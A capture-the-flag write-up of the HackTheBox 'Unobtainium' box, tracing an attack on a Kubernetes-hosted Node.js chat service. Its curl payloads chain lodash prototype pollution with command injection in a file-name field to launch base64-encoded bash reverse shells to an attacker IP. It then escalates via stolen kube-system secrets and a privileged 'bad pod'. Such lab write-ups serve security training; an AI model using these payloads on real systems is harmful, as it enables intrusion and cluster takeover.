HackTheBox-Unobtainium

ARZ101
11 min readSep 4, 2021

Hello everyone , in this post I will be sharing my writeup for HTB Unobtanium machine which was a hard linux box , after doing an nmap scan on the box many ports can been seen , Kubernetes API port was running on 8443 which tells us from the ssl certificate. Visiting the web page gives us an option to download a debian packge which we can install which is an electron application for displaying messages , on unpacking the app.asar which archives the source code we can see how the application is working and where it’s making the request with the creds , we can then request for index.js which reveals us that it’s using google-cloud-storage-commands which is vulnerable to remote code execution and lodash through which we can perform prototype pollution , after getting a foothold on the docker container we can further enumerate the clusters by uploading kubectl and moving further to get root.

NMAP

PORT      STATE    SERVICE          REASON         VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: POST OPTIONS HEAD GET
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Unobtainium
2379/tcp open ssl/etcd-client? syn-ack ttl 63
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ h2
| tls-nextprotoneg:
|_ h2
2380/tcp open ssl/etcd-server? syn-ack ttl 63
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ h2
| tls-nextprotoneg:
|_ h2
8443/tcp open ssl/https-alt syn-ack ttl 63
| fingerprint-strings:
| GenericLines, Help, RTSPRequest, SSLSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 403 Forbidden
| Cache-Control: no-cache, private
| Content-Type: application/json
| X-Content-Type-Options: nosniff
| X-Kubernetes-Pf-Flowschema-Uid: 3082aa7f-e4b1-444a-a726-829587cd9e39
| X-Kubernetes-Pf-Prioritylevel-Uid: c4131e14-5fda-4a46-8349-09ccbed9efdd
| Date: Wed, 04 Aug 2021 08:17:15 GMT
| Content-Length: 185
| {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/"","reason
":"Forbidden","details":{},"code":403}
| HTTPOptions:
| HTTP/1.0 403 Forbidden
| Cache-Control: no-cache, private
| Content-Type: application/json
| X-Content-Type-Options: nosniff
| X-Kubernetes-Pf-Flowschema-Uid: 3082aa7f-e4b1-444a-a726-829587cd9e39
| X-Kubernetes-Pf-Prioritylevel-Uid: c4131e14-5fda-4a46-8349-09ccbed9efdd
| Date: Wed, 04 Aug 2021 08:17:16 GMT
| Content-Length: 189
|_ {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot options path "/"","re
ason":"Forbidden","details":{},"code":403}
|_http-title: Site doesn't have a title (application/json).
| ssl-cert: Subject: commonName=minikube/organizationName=system:masters
| Subject Alternative Name: DNS:minikubeCA, DNS:control-plane.minikube.internal, DNS:kubernetes.default.svc.cluster.local, DNS:kubernetes.default.sv
c, DNS:kubernetes.default, DNS:kubernetes, DNS:localhost, IP Address:10.10.10.235, IP Address:10.96.0.1, IP Address:127.0.0.1, IP Address:10.0.0.1
| Issuer: commonName=minikubeCA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-07-25T14:52:45
10249/tcp open http syn-ack ttl 63 Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8)
10250/tcp open ssl/http syn-ack ttl 63 Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
| ssl-cert: Subject: commonName=unobtainium@1610865428
| Subject Alternative Name: DNS:unobtainium
| Issuer: commonName=unobtainium-ca@1610865428
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-01-17T05:37:08
| Not valid after: 2022-01-17T05:37:08
10256/tcp open http syn-ack ttl 63 Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
31337/tcp open http syn-ack ttl 62 Node.js Express framework
| http-methods:
| Supported Methods: GET HEAD PUT DELETE POST OPTIONS
|_ Potentially risky methods: PUT DELETE
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
38233/tcp filtered unknown no-response

We can see a lot of ports from the nmap scan , the ports that are of our interest is port 80 and port 8443 on which kuberentes is running , kubernetes is used for container orchestration which is manager of running number of docker containers , monitoring and managing them. So first I’ll enumerate the webserver on port 80

PORT 80 (HTTP)

On port 80 we can see a simple HTML template on which we have options to download a chat application what is called Unobtainium.

After downloading the debian file we can install it on our linux machine or we could unizp it to read the source code , o extracting , it looks like it’s made using electron which is an open source framework for building desktop based application using javascript.

We can see a folder named resources and in that folder there's a file named app.asar which is an archive used to package source code for an application using Electron. We can extract the files from it using npx

https://stackoverflow.com/questions/38523617/how-to-unpack-an-asar-file

We can find some creds from app.js

Now installing the .deb package with apt install ./unobtainium_1.0.0_amd64.deb we can use the unobtanium binary also make sure to add unobtanium.htb in /etc/hosts file as it's making requests to that domain name.

We can send messages through this application and it logs those messages

So using wireshark we can analyze how it's making a POST request

Right click on /todo packet and follow TCP stream

From the terminal we can do a POST request like this

curl --header "Content-Type: application/json" \
--request POST \
--data '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"todo.txt"}' \
http://unobtainium.htb:31337/todo

Let’s try to grab index.js

Notice that the contents of index.js are different so to get a clear picture save this response in a bash script file like this

echo -e 'response'

Here -e will interpret those \n as new line character

Here we can see a library is being used google-cloudstorage-commands which is vulnerable to command injection

https://snyk.io/test/npm/google-cloudstorage-commands/0.0.1

Also we can upload files through a POST request /upload

So to get a reverse shell we need to first echo the base64 encoded bash reverse shell , pipe that to decode it and run it by piping it to bash

curl -X PUT -H 'Content-Type: application/json' http://unobtainium.htb:31337/ --data '{"auth":{"name":"felamos","password":"Winter2021"},"message":{"__proto__":{"canUpload":true}}}'

bash -i >& /dev/tcp/10.10.14.45/2222 0>&1

curl --header "Content-Type: application/json" \
--request POST \
--data '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"& echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40NS8yMjIyIDA+JjE=' |base64 -d|bash"}' \
http://unobtainium.htb:31337/upload

Now to enumerate docker containers , we need to see if it’s in a network of containers since we saw that kubernetes is being used. To check if there are other containers we can do a nmap scan , since the container does not have one we can use static nmap binary and host it on our machine and download it through wget as it's available on docker container. Prior to this I did try pining other hosts and it turns out there 10 hosts , from 172.17.0.1 to 172.17.0.10.

I used the static nmap binary to do all port scan for 10 hosts .

172.17.0.1

Host is up (0.000022s latency).
Not shown: 65529 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8443/tcp open unknown
10250/tcp open unknown
10256/tcp open unknown
31337/tcp open unknown

172.17.0.2

Host is up (0.000033s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE
5000/tcp open unknown

172.17.0.4

Host is up (0.000017s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE
3000/tcp open unknown

172.17.0.5

Host is up (0.000051s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE
53/tcp open domain
8080/tcp open http-alt
8181/tcp open unknown
9153/tcp open unknown

172.17.0.6

Host is up (0.000025s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE
3000/tcp open unknown

172.17.0.7

Host is up (0.000025s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE
3000/tcp open unknown

172.17.0.8

Host is up (0.000025s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE
3000/tcp open unknown

172.17.0.9

Host is up (0.000025s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE
3000/tcp open unknown

172.17.0.10

Host is up (0.000025s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE
3000/tcp open unknown

Now we cannot do anything here unless we upload kubectl binary on the docker container , kubectl is a command line tool for interacting with kubernetes cluster from which you can deploy clusters , monitor and manage them , view logs or access namespaces.

After transferring kubetcl we can use the command get pods , a pod is a resource in which a container runs , usually one container runs in a pod , think pod as a wrapper around a docker container

We don’t have permission to view it , let’s view namespaces , in kubernetes namespaces are used to organize clusters into groups or into a category where as clusters are collection or set of nodes (docker containers) that are used to run an application. So let's try to view namespaces through kubectl

Here we see 5 namespaces out of which default , kube-public and kube-system . Default is for or objects with no other namespace, kube-public is used for public resources and kube-system is for objects created by the kubernetes system. We can't access them if we want to

Here I used -n which will specify which namespace we want to get information of , but we can't these namespaces, only dev namespace can be accessed here

We have 3 pods running in dev namespace , to get information of a pod in this namespace we can use this command

./kubectl get -o json pod devnode-deployment-cd86fb5c-6ms8d -n dev

It has an exposed port which is 3000 as we saw from the nmap scan so this means it will be running the same API server from which we can get a rev shell again , now let’s look for it’s IP

I got the rev shell again so that I could have to shells on the docker container , as I need a rev shell on the docker container again and I don’t want to do port forwarding

I transferred static binary of ncat on docker container

https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/ncat

curl -X PUT -H 'Content-Type: application/json' http://172.17.0.10:3000 --data '{"auth":{"name":"felamos","password":"Winter2021"},"message":{"__proto__":{"canUpload":true}}}'curl --header "Content-Type: application/json" \
--request POST \
--data '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"& echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTcuMC40LzIyMjIgMD4mMQ==' |base64 -d|bash"}' \
http://172.17.0.10:3000/upload

Doing those steps again still I couldn’t get a shell back

Now we really need to do port forwarding as this doesn’t work on docker container , so we’ll have to use chisel for port forwarding

Here I am have started a chisel server on port 2222 and on the client I am port forwarding the port 3000 from the target 172.17.0.10 and mapping it on port 3000 on my machine

This doesn’t have a user.txt flag which means we are on a different docker container, also if we try to see if kubectl exists or not

Again we need to transfer that binary in this container

From this container we can’t get even namespaces but using kubectl get secrets -n kube-system we can get secrets. A secret is an object that contains a small amount of sensitive data such as a password, a token, or a key with which we have ability to modify or create pods in namespace

We can get information of the secret through /kubectl describe secret c-admin-token-tfmp2 -n kube-system

Referring to this article https://labs.bishopfox.com/tech-blog/bad-pods-kubernetes-pod-privilege-escalation

We can create what is called Bad Pods that can give you root access to the host system if you have compromised kuberneteres secretes which have so we can try to make a bad pod

https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml

I’ll be using this yaml file for creating a pod but the problem is that we can’t download the image , in this yaml file it is set to ubuntu as this machine doesn't have internet access it can't really download the image

But going back to the information we pulled from the pod in dev namespace we can use the image name localhost:5000/node_server

https://published-prd.lanyonevents.com/published/rsaus20/sessionsFiles/18100/2020_USA20_DSO-W01_01_Compromising%20Kubernetes%20Cluster%20by%20Exploiting%20RBAC%20Permissions.pdf

For this to work we need to supply the token other wise pod won’t be created

On our netcat we would get a reverse shell but it will get terminated as a pod clean up script is being ran

--

--